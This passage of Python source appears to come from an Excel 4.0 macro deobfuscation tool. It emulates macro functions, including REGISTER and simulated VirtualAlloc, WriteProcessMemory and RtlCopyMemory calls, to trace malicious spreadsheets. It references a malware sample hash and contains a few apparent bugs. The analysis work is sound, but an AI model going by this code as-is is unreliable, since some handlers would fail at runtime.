arg_sheet_eval_result.text.strip('\\\"')\n            else:\n                optional_args = False\n        else:\n            sheet_name = current_cell.sheet.name\n\n        return_val = ''\n        if arg_row_num_eval_result.status == EvalStatus.FullEvaluation and \\\n                arg_col_num_eval_result.status == EvalStatus.FullEvaluation and \\\n                optional_args:\n            return_val += sheet_name + '!'\n            if a1 == \"FALSE\":\n                cell_addr_tmpl = 'R{}C{}'\n                if abs_num == 2:\n                    cell_addr_tmpl = 'R{}C[{}]'\n                elif abs_num == 3:\n                    cell_addr_tmpl = 'R[{}]C{}'\n                elif abs_num == 4:\n                    cell_addr_tmpl = 'R[{}]C[{}]'\n\n                return_val += cell_addr_tmpl.format(arg_row_num_eval_result.text,\n                                                    arg_col_num_eval_result.text)\n            else:\n                cell_addr_tmpl = '${}${}'\n                if abs_num == 2:\n                    cell_addr_tmpl = '{}${}'\n                elif abs_num == 3:\n                    cell_addr_tmpl = '${}{}'\n                elif abs_num == 4:\n                    cell_addr_tmpl = '{}{}'\n\n                return_val += cell_addr_tmpl.format(Cell.convert_to_column_name(int(arg_col_num_eval_result.value)),\n                                                    arg_row_num_eval_result.text)\n            status = EvalStatus.FullEvaluation\n        else:\n            status = EvalStatus.PartialEvaluation\n            return_val = self.evaluate_parse_tree(current_cell, arguments, False)\n\n        return EvalResult(None, status, return_val, str(return_val))\n\n    def indirect_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_addr_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n        status = EvalStatus.PartialEvaluation\n        if arg_addr_eval_result.status == EvalStatus.FullEvaluation:\n            a1 = \"TRUE\"\n            if len(arguments) == 2:\n                arg_a1_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n                if arg_a1_eval_result.status == EvalStatus.FullEvaluation:\n                    a1 = arg_a1_eval_result.value\n\n            sheet_name, col, row = Cell.parse_cell_addr(arg_addr_eval_result.value)\n            indirect_cell = self.get_cell(sheet_name, col, row)\n            return_val = indirect_cell.value\n            status = EvalStatus.FullEvaluation\n        else:\n            return_val = self.evaluate_parse_tree(current_cell, arguments, False)\n\n        return EvalResult(None, status, return_val, str(return_val))\n\n    def register_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        if len(arguments) >= 4:\n            arg_list = []\n            status = EvalStatus.FullEvaluation\n            for index, arg in enumerate(arguments):\n                if index > 3:\n                    break\n                res_eval = self.evaluate_parse_tree(current_cell, arg, interactive)\n                arg_list.append(res_eval.get_text(unwrap=True))\n            function_name = \"{}.{}\".format(arg_list[0], arg_list[1])\n            # signature: https://support.office.com/en-us/article/using-the-call-and-register-functions-06fa83c1-2869-4a89-b665-7e63d188307f\n            function_signature = arg_list[2]\n            function_alias = arg_list[3]\n            # overrides previously registered function\n            self._registered_functions[function_alias] = {'name': function_name, 'signature': function_signature}\n            text = self.evaluate_argument_list(current_cell, 'REGISTER', arguments).get_text(unwrap=True)\n        else:\n            status = EvalStatus.Error\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return_val = 0\n\n        return EvalResult(None, status, return_val, text)\n\n    def registerid_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        if len(arguments) >= 3:\n            arg_list = []\n            status = EvalStatus.FullEvaluation\n            for index, arg in enumerate(arguments):\n                if index > 2:\n                    break\n                res_eval = self.evaluate_parse_tree(current_cell, arg, interactive)\n                arg_list.append(res_eval.get_text(unwrap=True))\n            function_name = \"{}.{}\".format(arg_list[0], arg_list[1])\n            # signature: https://support.office.com/en-us/article/using-the-call-and-register-functions-06fa83c1-2869-4a89-b665-7e63d188307f\n            function_signature = arg_list[2]\n            #function_alias = arg_list[3]\n            # overrides previously registered function\n            #self._registered_functions[function_alias] = {'name': function_name, 'signature': function_signature}\n            text = self.evaluate_argument_list(current_cell, 'REGISTER.ID', arguments).get_text(unwrap=True)\n            return_val = function_name\n        else:\n            status = EvalStatus.Error\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = 0\n\n        return EvalResult(None, status, return_val, text)\n\n    def return_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if self._function_call_stack:\n            return_cell = self._function_call_stack.pop()\n            return_cell.value = arg1_eval_res.value\n            arg1_eval_res.next_cell = self.get_formula_cell(return_cell.sheet,\n                                                            return_cell.column,\n                                                            str(int(return_cell.row) + 1))\n        if arg1_eval_res.text == '':\n            arg1_eval_res.text = 'RETURN()'\n\n        return arg1_eval_res\n\n    def fopen_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if len(arguments) > 1:\n            arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n            access = arg2_eval_res.value\n        else:\n            access = '1'\n\n        if arg1_eval_res.status == EvalStatus.FullEvaluation:\n            file_name = arg1_eval_res.get_text(unwrap=True)\n        else:\n            file_name = \"default_name\"\n\n        if file_name not in self._files:\n            self._files[file_name] = {'file_access': access,\n                                                            'file_content': ''}\n        text = 'FOPEN({},{})'.format(arg1_eval_res.get_text(unwrap=False),\n                                     access)\n        return EvalResult(None, arg1_eval_res.status, file_name, text)\n\n    def fsize_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        file_name = arg1_eval_res.get_text(unwrap=True)\n        status = EvalStatus.PartialEvaluation\n        return_val = 0\n        if file_name in self._files:\n            status = EvalStatus.FullEvaluation\n            if self._files[file_name]['file_content'] is not None:\n                return_val = len(self._files[file_name]['file_content'])\n        text = 'FSIZE({})'.format(EvalResult.wrap_str_literal(file_name))\n        return EvalResult(None, status, return_val, str(return_val))\n\n    def fwrite_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        file_name = arg1_eval_res.value\n        if file_name.strip() == \"\" or EvalResult.is_int(file_name) or EvalResult.is_float(file_name):\n            if len(self._files) > 0:\n                file_name = list(self._files.keys())[0]\n            else:\n                file_name = \"default_filename\"\n        file_content = arg2_eval_res.get_text(unwrap=True)\n        status = EvalStatus.PartialEvaluation\n        if file_name in self._files:\n            status = EvalStatus.FullEvaluation\n            self._files[file_name]['file_content'] += file_content + end_line\n        text = 'FWRITE({},{})'.format(EvalResult.wrap_str_literal(file_name), EvalResult.wrap_str_literal(file_content))\n        return EvalResult(None, status, '0', text)\n\n    def fwriteln_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return self.fwrite_handler(arguments, current_cell, interactive, parse_tree_root, end_line='\\r\\n')\n\n    def files_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        dir_name = arg1_eval_res.get_text(unwrap=True)\n        status = EvalStatus.FullEvaluation\n        # if dir_name in self._files:\n        #     return_val = dir_name\n        # else:\n        #     return_val = None\n        return_val = dir_name\n        text = \"FILES({})\".format(EvalResult.wrap_str_literal(dir_name))\n        return EvalResult(None, status, return_val, text)\n\n    def iserror_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.FullEvaluation\n\n        if arg1_eval_res.value == None:\n            return_val = True\n        else:\n            return_val = False\n\n        if self._iserror_loc is None:\n            self._iserror_val = return_val\n            self._iserror_loc = current_cell\n            self._iserror_count = 1\n        elif self._iserror_loc == current_cell:\n            if self._iserror_val != return_val:\n                self._iserror_val = return_val\n                self._iserror_count = 1\n            elif self._iserror_count < XLMInterpreter.MAX_ISERROR_LOOPCOUNT:\n                self._iserror_count += 1\n            else:\n                return_val = not return_val\n                self._iserror_loc = None\n\n        text = 'ISERROR({})'.format(EvalResult.wrap_str_literal(arg1_eval_res.get_text(unwrap=True)))\n        return EvalResult(None, status, return_val, text)\n\n    def offset_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        value = 0\n        next = None\n        status = EvalStatus.PartialEvaluation\n\n        cell = self.get_cell_addr(current_cell, arguments[0])\n        row_index = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        col_index = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n\n        if isinstance(cell, tuple) and \\\n                row_index.status == EvalStatus.FullEvaluation and \\\n                col_index.status == EvalStatus.FullEvaluation:\n            row = str(int(cell[2]) + int(float(str(row_index.value))))\n            col = Cell.convert_to_column_name(Cell.convert_to_column_index(cell[1]) + int(float(str(col_index.value))))\n            ref_cell = (cell[0], col, row)\n            value = ref_cell\n            status = EvalStatus.FullEvaluation\n            next = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[cell[0]], col, row)\n\n        text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(next, status, value, text)\n\n    def arabic_hander(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg1_eval_res.status == EvalStatus.FullEvaluation:\n            roman_number = EvalResult.get_text(arg1_eval_res, unwrap=True)\n            return_val = roman.fromRoman(roman_number)\n            status = EvalStatus.FullEvaluation\n            text = str(return_val)\n        else:\n            return_val = text = self.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def VirtualAlloc_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        base_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        size_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        if base_eval_res.status == EvalStatus.FullEvaluation and size_eval_res.status == EvalStatus.FullEvaluation:\n            base = int(base_eval_res.get_text(unwrap=True))\n            occupied_addresses = [rec['base'] + rec['size'] for rec in self._memory]\n            for memory_record in self._memory:\n                if memory_record['base'] <= base <= (memory_record['base'] + memory_record['size']):\n                    base = map(max, occupied_addresses) + 4096\n            size = int(size_eval_res.get_text(unwrap=True))\n            self._memory.append({\n                'base': base,\n                'size': size,\n                'data': [0] * size\n            })\n            return_val = base\n            status = EvalStatus.FullEvaluation\n        else:\n            status = EvalStatus.PartialEvaluation\n            return_val = 0\n\n        text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def WriteProcessMemory_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        if len(arguments) > 4:\n            status = EvalStatus.FullEvaluation\n            args_eval_result = []\n            for arg in arguments:\n                arg_eval_res = self.evaluate_parse_tree(current_cell, arg, interactive)\n                if arg_eval_res.status != EvalStatus.FullEvaluation:\n                    status = arg_eval_res.status\n                args_eval_result.append(arg_eval_res)\n            if status == EvalStatus.FullEvaluation:\n                base_address = int(args_eval_result[1].value)\n                mem_data = args_eval_result[2].value\n                mem_data = bytearray([ord(x) for x in mem_data])\n                size = int(args_eval_result[3].value)\n\n                if not self.write_memory(base_address, mem_data, size):\n                    status = EvalStatus.Error\n\n                text = 'Kernel32.WriteProcessMemory({},{},\"{}\",{},{})'.format(\n                    args_eval_result[0].get_text(),\n                    base_address,\n                    mem_data.hex(),\n                    size,\n                    args_eval_result[4].get_text())\n\n                return_val = 0\n\n            if status != EvalStatus.FullEvaluation:\n                text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                return_val = 0\n\n            return EvalResult(None, status, return_val, text)\n\n    def RtlCopyMemory_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n\n        if len(arguments) == 3:\n            destination_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n            src_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n            size_res = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n            if destination_eval_res.status == EvalStatus.FullEvaluation and \\\n                    src_eval_res.status == EvalStatus.FullEvaluation:\n                status = EvalStatus.FullEvaluation\n                mem_data = src_eval_res.value\n                mem_data = bytearray([ord(x) for x in mem_data])\n                if not self.write_memory(int(destination_eval_res.value), mem_data, len(mem_data)):\n                    status = EvalStatus.Error\n                text = 'Kernel32.RtlCopyMemory({},\"{}\",{})'.format(\n                    destination_eval_res.get_text(),\n                    mem_data.hex(),\n                    size_res.get_text())\n\n        if status == EvalStatus.PartialEvaluation:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n        return_val = 0\n        return EvalResult(None, status, return_val, text)\n\n    # endregion\n\n    def write_memory(self, base_address, mem_data, size):\n        result = True\n        for mem_rec in self._memory:\n            if mem_rec['base'] <= base_address <= mem_rec['base'] + mem_rec['size']:\n                if mem_rec['base'] <= base_address + size <= mem_rec['base'] + mem_rec['size']:\n                    offset = base_address - mem_rec['base']\n                    for i in range(0, size):\n                        mem_rec['data'][offset + i] = mem_data[i]\n                else:\n                    result = False\n                break\n        return result\n\n    def evaluate_defined_name(self, current_cell, name, interactive):\n        result = None\n        lname = name.lower()\n        if lname in self.defined_names:\n            val = self.defined_names[lname]\n            if isinstance(val, Tree) and val.data == 'cell':\n                eval_res = self.evaluate_cell(current_cell, interactive, val)\n                result = eval_res.value\n            elif isinstance(val, list):\n                result = val\n            else:\n\n                if isinstance(val, Cell):\n                    data = val.value\n                else:\n                    # example: c7e40628fb6beb52d9d73a3b3afd1dca5d2335713593b698637e1a47b42bfc71  password: 2021\n                    data = val\n                try:\n                    formula_str = str(data) if str(data).startswith('=') else '=' + str(data)\n                    parsed_formula = self.xlm_parser.parse(formula_str)\n                    eval_result = self.evaluate_parse_tree(current_cell, parsed_formula, interactive)\n                    if isinstance(eval_result.value, list):\n                        result = eval_result.value\n                    else:\n                        result = str(eval_result.value)\n                except:\n                    result = str(data)\n\n        return result\n\n    def evaluate_parse_tree(self, current_cell, parse_tree_root, interactive=True):\n        next_cell = None\n        status = EvalStatus.NotImplemented\n        text = None\n        return_val = None\n\n        if type(parse_tree_root) is Token:\n            if parse_tree_root.value.lower() in self.defined_names:\n                # this formula has a defined name that can be changed\n                # current formula must be removed from cache\n                self._remove_current_formula_from_cache = True\n                parse_tree_root.value = self.evaluate_defined_name(current_cell, parse_tree_root.value, interactive)\n\n            return_val = parse_tree_root.value\n            status = EvalStatus.FullEvaluation\n            text = str(return_val)\n            result = EvalResult(next_cell, status, return_val, text)\n\n        elif type(parse_tree_root) is list:\n            return_val = text = ''\n            status = EvalStatus.FullEvaluation\n            result = EvalResult(next_cell, status, return_val, text)\n\n        elif parse_tree_root.data == 'function_call':\n            result = self.evaluate_function(current_cell, parse_tree_root, interactive)\n\n        elif parse_tree_root.data == 'cell':\n            result = self.evaluate_cell(current_cell, interactive, parse_tree_root)\n\n        elif parse_tree_root.data == 'range':\n            result = self.evaluate_range(current_cell, interactive, parse_tree_root)\n\n        elif parse_tree_root.data == 'array':\n            result = self.evaluate_array(current_cell, interactive, parse_tree_root)\n\n        elif parse_tree_root.data in self._expr_rule_names:\n            text_left = None\n            concat_status = EvalStatus.FullEvaluation\n            for index, child in enumerate(parse_tree_root.children):\n                if type(child) is Token and child.type in ['ADDITIVEOP', 'MULTIOP', 'CMPOP', 'CONCATOP']:\n\n                    op_str = str(child)\n                    right_arg = parse_tree_root.children[index + 1]\n                    right_arg_eval_res = self.evaluate_parse_tree(current_cell, right_arg, interactive)\n                    if isinstance(right_arg_eval_res.value, Cell):\n                        text_right = EvalResult.unwrap_str_literal(right_arg_eval_res.value.value)\n                    else:\n                        text_right = right_arg_eval_res.get_text(unwrap=True)\n\n                    if op_str == '&':\n                        if left_arg_eval_res.status == EvalStatus.FullEvaluation and right_arg_eval_res.status != EvalStatus.FullEvaluation:\n                            text_left = '{}&{}'.format(text_left, text_right)\n                            left_arg_eval_res.status = EvalStatus.PartialEvaluation\n                            concat_status = EvalStatus.PartialEvaluation\n                        elif left_arg_eval_res.status != EvalStatus.FullEvaluation and right_arg_eval_res.status == EvalStatus.FullEvaluation:\n                            text_left = '{}&{}'.format(text_left, text_right)\n                            left_arg_eval_res.status = EvalStatus.FullEvaluation\n                            concat_status = EvalStatus.PartialEvaluation\n                        elif left_arg_eval_res.status != EvalStatus.FullEvaluation and right_arg_eval_res.status != EvalStatus.FullEvaluation:\n                            text_left = '{}&{}'.format(text_left, text_right)\n                            left_arg_eval_res.status = EvalStatus.PartialEvaluation\n                            concat_status = EvalStatus.PartialEvaluation\n                        else:\n                            text_left = text_left + text_right\n                    elif left_arg_eval_res.status == EvalStatus.FullEvaluation and right_arg_eval_res.status == EvalStatus.FullEvaluation:\n                        status = EvalStatus.FullEvaluation\n                        if isinstance(right_arg_eval_res.value, Cell):\n                            value_right = right_arg_eval_res.value.value\n                        else:\n                            value_right = right_arg_eval_res.value\n                            if isinstance(value_right, str):\n                                if value_right.lower() == 'true':\n                                    value_right = 1\n                                elif value_right.lower() == 'false':\n                                    value_right = 0\n\n                        text_left = str(text_left)\n                        text_right = str(text_right)\n\n                        if text_left == '':\n                            text_left = '0'\n                            value_left = 0\n\n                        if text_right == '':\n                            text_right = '0'\n                            value_right = 0\n\n                        if self.is_float(value_left) and self.is_float(value_right):\n                            if op_str in self._operators:\n                                op_res = self._operators[op_str](float(value_left), float(value_right))\n                                if type(op_res) == bool:\n                                    value_left = str(op_res)\n                                elif op_res.is_integer():\n                                    value_left = str(int(op_res))\n                                else:\n                                    op_res = round(op_res, 10)\n                                    value_left = str(op_res)\n                            else:\n                                value_left = 'Operator ' + op_str\n                                left_arg_eval_res.status = EvalStatus.NotImplemented\n                        elif EvalResult.is_datetime(text_left.strip('\\\"')) and EvalResult.is_datetime(text_right.strip('\\\"')):\n                            timestamp1 = datetime.datetime.strptime(text_left.strip('\\\"'), \"%Y-%m-%d %H:%M:%S.%f\")\n                            timestamp2 = datetime.datetime.strptime(text_right.strip('\\\"'), \"%Y-%m-%d %H:%M:%S.%f\")\n                            op_res = self._operators[op_str](float(timestamp1.timestamp()),\n                                                             float(timestamp2.timestamp()))\n                            op_res += 1000\n                            if type(op_res) == bool:\n                                value_left = str(op_res)\n                            elif EvalResult.is_datetime(op_res):\n                                value_left = str(op_res)\n                            elif op_res.is_integer():\n                                value_left = str(op_res)\n                            else:\n                                op_res = round(op_res, 10)\n                                value_left = str(op_res)\n                        elif EvalResult.is_datetime(text_left.strip('\\\"')) and EvalResult.is_time(text_right.strip('\\\"')):\n                            timestamp1 = datetime.datetime.strptime(text_left.strip('\\\"'), \"%Y-%m-%d %H:%M:%S.%f\")\n                            timestamp2 = datetime.datetime.strptime(text_right.strip('\\\"'), \"%H:%M:%S\")\n                            t1 = float(timestamp1.timestamp())\n                            t2 = float(\n                                int(timestamp2.hour) * 3600 + int(timestamp2.minute) * 60 + int(timestamp2.second))\n                            op_res = datetime.datetime.fromtimestamp(self._operators[op_str](t1, t2))\n                            if type(op_res) == bool:\n                                value_left = str(op_res)\n                            elif type(op_res) == datetime.datetime:\n                                value_left = str(op_res)\n                            elif op_res.is_integer():\n                                value_left = str(op_res)\n                            else:\n                                op_res = round(op_res, 10)\n                                value_left = str(op_res)\n                        else:\n                            if op_str in self._operators:\n                                value_left = EvalResult.unwrap_str_literal(str(value_left))\n                                value_right = EvalResult.unwrap_str_literal(str(value_right))\n                                op_res = self._operators[op_str](value_left, value_right)\n                                value_left = op_res\n                            else:\n                                value_left = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                                left_arg_eval_res.status = EvalStatus.PartialEvaluation\n                        text_left = value_left\n                    else:\n                        left_arg_eval_res.status = EvalStatus.PartialEvaluation\n                        text_left = '{}{}{}'.format(text_left, op_str, text_right)\n                    return_val = text_left\n                else:\n                    if text_left is None:\n                        left_arg = parse_tree_root.children[index]\n                        left_arg_eval_res = self.evaluate_parse_tree(current_cell, left_arg, interactive)\n                        text_left = left_arg_eval_res.get_text(unwrap=True)\n                        if isinstance(left_arg_eval_res.value, Cell):\n                            value_left = left_arg_eval_res.value.value\n                        else:\n                            value_left = left_arg_eval_res.value\n                            if isinstance(value_left, str):\n                                if value_left.lower() == 'true':\n                                    value_left = 1\n                                elif value_left.lower() == 'false':\n                                    value_left = 0\n\n            if concat_status == EvalStatus.PartialEvaluation and left_arg_eval_res.status == EvalStatus.FullEvaluation:\n                left_arg_eval_res.status = concat_status\n            result = EvalResult(next_cell, left_arg_eval_res.status, return_val, EvalResult.wrap_str_literal(text_left))\n        elif parse_tree_root.data == 'final':\n            arg = parse_tree_root.children[1]\n            result = self.evaluate_parse_tree(current_cell, arg, interactive)\n\n        else:\n            status = EvalStatus.FullEvaluation\n            for child_node in parse_tree_root.children:\n                if child_node is not None:\n                    child_eval_result = self.evaluate_parse_tree(current_cell, child_node, interactive)\n                    if child_eval_result.status != EvalStatus.FullEvaluation:\n                        status = child_eval_result.status\n\n            result = EvalResult(child_eval_result.next_cell, status, child_eval_result.value, child_eval_result.text)\n            result.output_level = child_eval_result.output_level\n\n        return result\n\n    def evaluate_cell(self, current_cell, interactive, parse_tree_root):\n        sheet_name, col, row = self.get_cell_addr(current_cell, parse_tree_root)\n        return_val = ''\n        text = ''\n        status = EvalStatus.PartialEvaluation\n\n        if sheet_name is not None:\n            cell_addr = col + str(row)\n\n            if sheet_name in self.xlm_wrapper.get_macrosheets():\n                sheet = self.xlm_wrapper.get_macrosheets()[sheet_name]\n            else:\n                sheet = self.xlm_wrapper.get_worksheets()[sheet_name]\n\n            if cell_addr not in sheet.cells and (sheet_name, cell_addr) in self.cell_with_unsuccessfull_set:\n                if interactive:\n                    self.invoke_interpreter = True\n                    if self.first_unknown_cell is None:\n                        self.first_unknown_cell = cell_addr\n\n            if cell_addr in sheet.cells:\n                cell = sheet.cells[cell_addr]\n\n                if cell.formula is not None and cell.formula != cell.value:\n                    try:\n                        parse_tree = self.xlm_parser.parse(cell.formula)\n                        eval_result = self.evaluate_parse_tree(cell, parse_tree, False)\n                        return_val = eval_result.value\n                        text = eval_result.get_text()\n                        status = eval_result.status\n                    except:\n                        return_val = cell.formula\n                        text = EvalResult.wrap_str_literal(cell.formula)\n                        status = EvalStatus.FullEvaluation\n\n                elif cell.value is not None:\n                    text = EvalResult.wrap_str_literal(cell.value, must_wrap=True)\n                    return_val = text\n                    status = EvalStatus.FullEvaluation\n                else:\n                    text = \"{}\".format(cell_addr)\n            else:\n                if (sheet_name, cell_addr) in self.cell_with_unsuccessfull_set:\n                    text = \"{}\".format(cell_addr)\n                else:\n                    text = ''\n                    status = EvalStatus.FullEvaluation\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def evaluate_range(self, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        if len(parse_tree_root.children) >= 3:\n            start_address = self.get_cell_addr(current_cell, parse_tree_root.children[0])\n            end_address = self.get_cell_addr(current_cell, parse_tree_root.children[2])\n            selected = None\n            if len(parse_tree_root.children) == 5:\n                selected = self.get_cell_addr(current_cell, parse_tree_root.children[4])\n            self.selected_range = (start_address, end_address, selected)\n            status = EvalStatus.FullEvaluation\n        text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return_val = text\n\n        return EvalResult(None, status, return_val, text)\n\n    def evaluate_array(self, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        array_elements = []\n        for index, array_elm in enumerate(parse_tree_root.children):\n            # skip semicolon (;)\n            if index % 2 == 1:\n                continue\n            if array_elm.type == 'NUMBER':\n                array_elements.append(float(array_elm))\n            else:\n                array_elements.append(str(array_elm))\n        text = str(array_elements)\n        return_val = array_elements\n\n        return EvalResult(None, status, return_val, text)\n\n    def interactive_shell(self, current_cell, message):\n        print('\\nProcess Interruption:')\n        print('CELL:{:10}{}'.format(current_cell.get_local_address(), current_cell.formula))\n        print(message)\n        print('Enter XLM macro:')\n        print('Tip: CLOSE() or HALT() to exist')\n\n        while True:\n            line = input()\n            line = '=' + line.strip()\n            if line:\n                try:\n                    parse_tree = self.xlm_parser.parse(line)\n                    ret_result = self.evaluate_parse_tree(current_cell, parse_tree, interactive=False)\n                    print(ret_result.value)\n                    if ret_result.status == EvalStatus.End:\n                        break\n                except ParseError as exp:\n                    print(\"Invalid XLM macro\")\n                except Exception:\n                    sys.exit()\n            else:\n                break\n\n    def has_loop(self, path, length=10):\n        if len(path) < length * 2:\n            return False\n        else:\n            result = False\n            start_index = len(path) - length\n\n            for j in range(0, start_index - length):\n                matched = True\n                k = j\n                while start_index + k - j < len(path):\n                    if path[k] != path[start_index + k - j]:\n                        matched = False\n                        break\n                    k += 1\n                if matched:\n                    result = True\n                    break\n            return result\n\n    regex_string = r'\\\"([^\\\"]|\\\"\\\")*\\\"'\n    detect_string = re.compile(regex_string, flags=re.MULTILINE)\n\n    def extract_strings(self, string):\n        result = []\n        matches = XLMInterpreter.detect_string.finditer(string)\n        for matchNum, match in enumerate(matches, start=1):\n            result.append(match.string[match.start(0):match.end(0)])\n        return result\n\n    def deobfuscate_macro(self, interactive, start_point=\"\", timeout=0, silent_mode=False):\n        result = []\n        self._start_timestamp = time.time()\n\n        self.auto_labels = self.xlm_wrapper.get_defined_name('auto_open', full_match=False)\n        self.auto_labels.extend(self.xlm_wrapper.get_defined_name('auto_close', full_match=False))\n\n        if len(self.auto_labels) == 0:\n            if len(start_point) > 0:\n                self.auto_labels = [('auto_open', start_point)]\n            elif interactive:\n                print('There is no entry point, please specify a cell address to start')\n                print('Example: Sheet1!A1')\n                self.auto_labels = [('auto_open', input().strip())]\n\n        if self.auto_labels is not None and len(self.auto_labels) > 0:\n            macros = self.xlm_wrapper.get_macrosheets()\n\n            continue_emulation = True\n            for auto_open_label in self.auto_labels:\n                if not continue_emulation:\n                    break\n                try:\n                    sheet_name, col, row = Cell.parse_cell_addr(auto_open_label[1])\n                    if sheet_name in macros:\n                        current_cell = self.get_formula_cell(macros[sheet_name], col, row)\n                        self._branch_stack = [(current_cell, current_cell.formula, macros[sheet_name].cells, 0, '')]\n                        observed_cells = []\n                        while len(self._branch_stack) > 0:\n                            if not continue_emulation:\n                                break\n                            current_cell, formula, saved_cells, indent_level, desc = self._branch_stack.pop()\n                            macros[current_cell.sheet.name].cells = saved_cells\n                            self._indent_level = indent_level\n                            stack_record = True\n                            while current_cell is not None:\n                                if not continue_emulation:\n                                    break\n                                if type(formula) is str:\n                                    replace_op = getattr(self.xlm_wrapper, \"replace_nonprintable_chars\", None)\n                                    if callable(replace_op):\n                                        formula = replace_op(formula, '_')\n                                    if formula not in self._formula_cache:\n                                        parse_tree = self.xlm_parser.parse(formula)\n                                        self._formula_cache[formula] = parse_tree\n                                    else:\n                                        parse_tree = self._formula_cache[formula]\n                                else:\n                                    parse_tree = formula\n\n                                if stack_record:\n                                    previous_indent = self._indent_level - 1 if self._indent_level > 0 else 0\n                                else:\n                                    previous_indent = self._indent_level\n\n                                evaluation_result = self.evaluate_parse_tree(current_cell, parse_tree, interactive)\n\n                                if self._remove_current_formula_from_cache:\n                                    self._remove_current_formula_from_cache = False\n                                    if formula in self._formula_cache:\n                                        del (self._formula_cache[formula])\n\n                                if len(self._while_stack) == 0 and evaluation_result.text != 'NEXT':\n                                    observed_cells.append(current_cell.get_local_address())\n\n                                    if self.has_loop(observed_cells):\n                                        break\n\n                                if self.invoke_interpreter and interactive:\n                                    self.interactive_shell(\n                                        current_cell,\n                                        'Partial Eval: {}\\r\\n{} is not populated, what should be its value?'.format(\n                                            evaluation_result.text, self.first_unknown_cell))\n                                    self.invoke_interpreter = False\n                                    self.first_unknown_cell = None\n                                    continue\n\n                                if evaluation_result.value is not None:\n                                    current_cell.value = str(evaluation_result.value)\n\n                                if evaluation_result.next_cell is None and \\\n                                        (evaluation_result.status == EvalStatus.FullEvaluation or\n                                         evaluation_result.status == EvalStatus.PartialEvaluation or\n                                         evaluation_result.status == EvalStatus.NotImplemented or\n                                         evaluation_result.status == EvalStatus.IGNORED):\n                                    evaluation_result.next_cell = self.get_formula_cell(current_cell.sheet,\n                                                                                        current_cell.column,\n                                                                                        str(int(current_cell.row) + 1))\n                                if stack_record:\n                                    evaluation_result.text = (\n                                        desc + ' ' + evaluation_result.get_text(unwrap=False)).strip()\n\n                                if self._indent_current_line:\n                                    previous_indent = self._indent_level\n                                    self._indent_current_line = False\n\n                                if evaluation_result.status != EvalStatus.IGNORED:\n                                    if self.output_level >= 3 and evaluation_result.output_level == 2:\n                                        strings = self.extract_strings(evaluation_result.get_text(unwrap=True))\n                                        if strings:\n                                            yield (\n                                                current_cell, evaluation_result.status,\n                                                '\\n'.join(strings),\n                                                previous_indent)\n                                    elif evaluation_result.output_level >= self.output_level:\n                                        yield (\n                                            current_cell, evaluation_result.status,\n                                            evaluation_result.get_text(unwrap=False),\n                                            previous_indent)\n\n                                if timeout > 0 and time.time() - self._start_timestamp > timeout:\n                                    continue_emulation = False\n\n                                if evaluation_result.next_cell is not None:\n                                    current_cell = evaluation_result.next_cell\n                                else:\n                                    break\n                                formula = current_cell.formula\n                                stack_record = False\n                except Exception as exp:\n                    exc_type, exc_obj, traceback = sys.exc_info()\n                    frame = traceback.tb_frame\n                    lineno = traceback.tb_lineno\n                    filename = frame.f_code.co_filename\n                    linecache.checkcache(filename)\n                    line = linecache.getline(filename, lineno, frame.f_globals)\n                    uprint('Error [{}:{} {}]: {}'.format(os.path.basename(filename),\n                                                         lineno,\n                                                         line.strip(),\n                                                         exc_obj),\n                           silent_mode=silent_mode)\n\n\ndef test_parser():\n    grammar_file_path = os.path.join(os.path.dirname(__file__), 'xlm-macro-en.lark')\n    macro_grammar = 